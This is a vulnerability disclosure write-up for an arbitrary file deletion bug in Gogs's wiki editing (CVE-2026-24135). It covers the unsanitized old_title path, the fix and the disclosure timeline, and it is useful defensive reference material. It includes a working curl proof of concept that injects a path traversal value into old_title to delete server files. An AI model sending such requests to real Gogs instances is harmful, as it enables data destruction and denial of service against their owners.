
Arbitrary File Deletion in Gogs via Wiki Path Traversal
Severity: High (CVSS 7.5)
Affected Software: Gogs <= 0.13.3
Patched In: 0.13.4, 0.14.0+dev
Advisory: GHSA-jp7c-wj6q-3qf2
Patch: gogs/gogs#8099
During a security audit of Gogs (a popular self-hosted Git service written in Go), I found a path traversal vulnerability in the updateWikiPage function. It allows an authenticated user with wiki write access to delete arbitrary files on the server by injecting path traversal sequences into the old_title parameter of the wiki editing form.
The vulnerability is an asymmetric sanitization flaw in internal/database/wiki.go. When a wiki page is updated, the function handles two title parameters differently:
| Parameter | Sanitized? | Used In |
|---|---|---|
title (new name) | Yes — via ToWikiPageName() | path.Join() for file creation |
oldTitle (previous name) | No | path.Join() + os.Remove() |
// internal/database/wiki.go
// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")
// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
os.Remove(path.Join(localPath, oldTitle+".md")) // ← VULNERABLE
}
The oldTitle value flows directly from user-controlled form input through the route handler into os.Remove() without any path sanitization.
User Input (Form) Route Handler Database Function
┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────────┐
│ f.OldTitle │───────>│ EditWikiPost() │─────────>│ updateWikiPage() │
│ (unsanitized) │ │ wiki.go:246 │ │ │
└─────────────────┘ │ │ │ Line 114: │
│ No sanitization! │ │ os.Remove(path.Join( │
│ │ │ localPath, │
└─────────────────────┘ │ oldTitle+".md")) │
└──────────────────────────┘
Prerequisites: Authenticated user with write access to any repository wiki.
/repo/wiki/editold_title form field to include path traversal sequences (e.g., ../../../../tmp/target_file)# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title
curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
-H "Cookie: i_like_gogs=<session_cookie>" \
-d "old_title=../../../../../../../tmp/target_file" \
-d "title=TestPage" \
-d "content=test" \
-d "message=test"
# Result: /tmp/target_file.md is deleted from the server
The .md extension is appended automatically. Any file ending in .md that the Gogs process has write permission to can be deleted.
| Impact | Description |
|---|---|
| Arbitrary File Deletion | Delete any .md file the Gogs process can write to |
| Denial of Service | Remove critical configuration or data files |
| Data Loss | Destroy other users' wiki pages, documentation, or repository files |
| Potential Escalation | Chained with other vulnerabilities, could lead to further compromise |
Apply the same ToWikiPageName sanitization to oldTitle that is already applied to title:
func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
// ... existing code ...
title = ToWikiPageName(title)
+ // Sanitize oldTitle to prevent path traversal
+ if oldTitle != "" {
+ oldTitle = ToWikiPageName(oldTitle)
+ }
filename := path.Join(localPath, title+".md")
// ...
}
I proposed this fix during disclosure and the Gogs maintainers implemented it in PR #8099.
| Date | Event |
|---|---|
| 2025-12-13 | Vulnerability discovered during security audit |
| 2025-12-13 | Advisory submitted via GitHub Security Advisory (GHSA-jp7c-wj6q-3qf2) |
| 2026-01-20 | Follow-up with Gogs maintainers |
| 2026-01-20 | Maintainer acknowledged the vulnerability |
| 2026-01-22 | Patch merged (#8099) |
| 2026-01-22 | CVE-2026-24135 assigned by GitHub |
| 2026-02-06 | Public disclosure |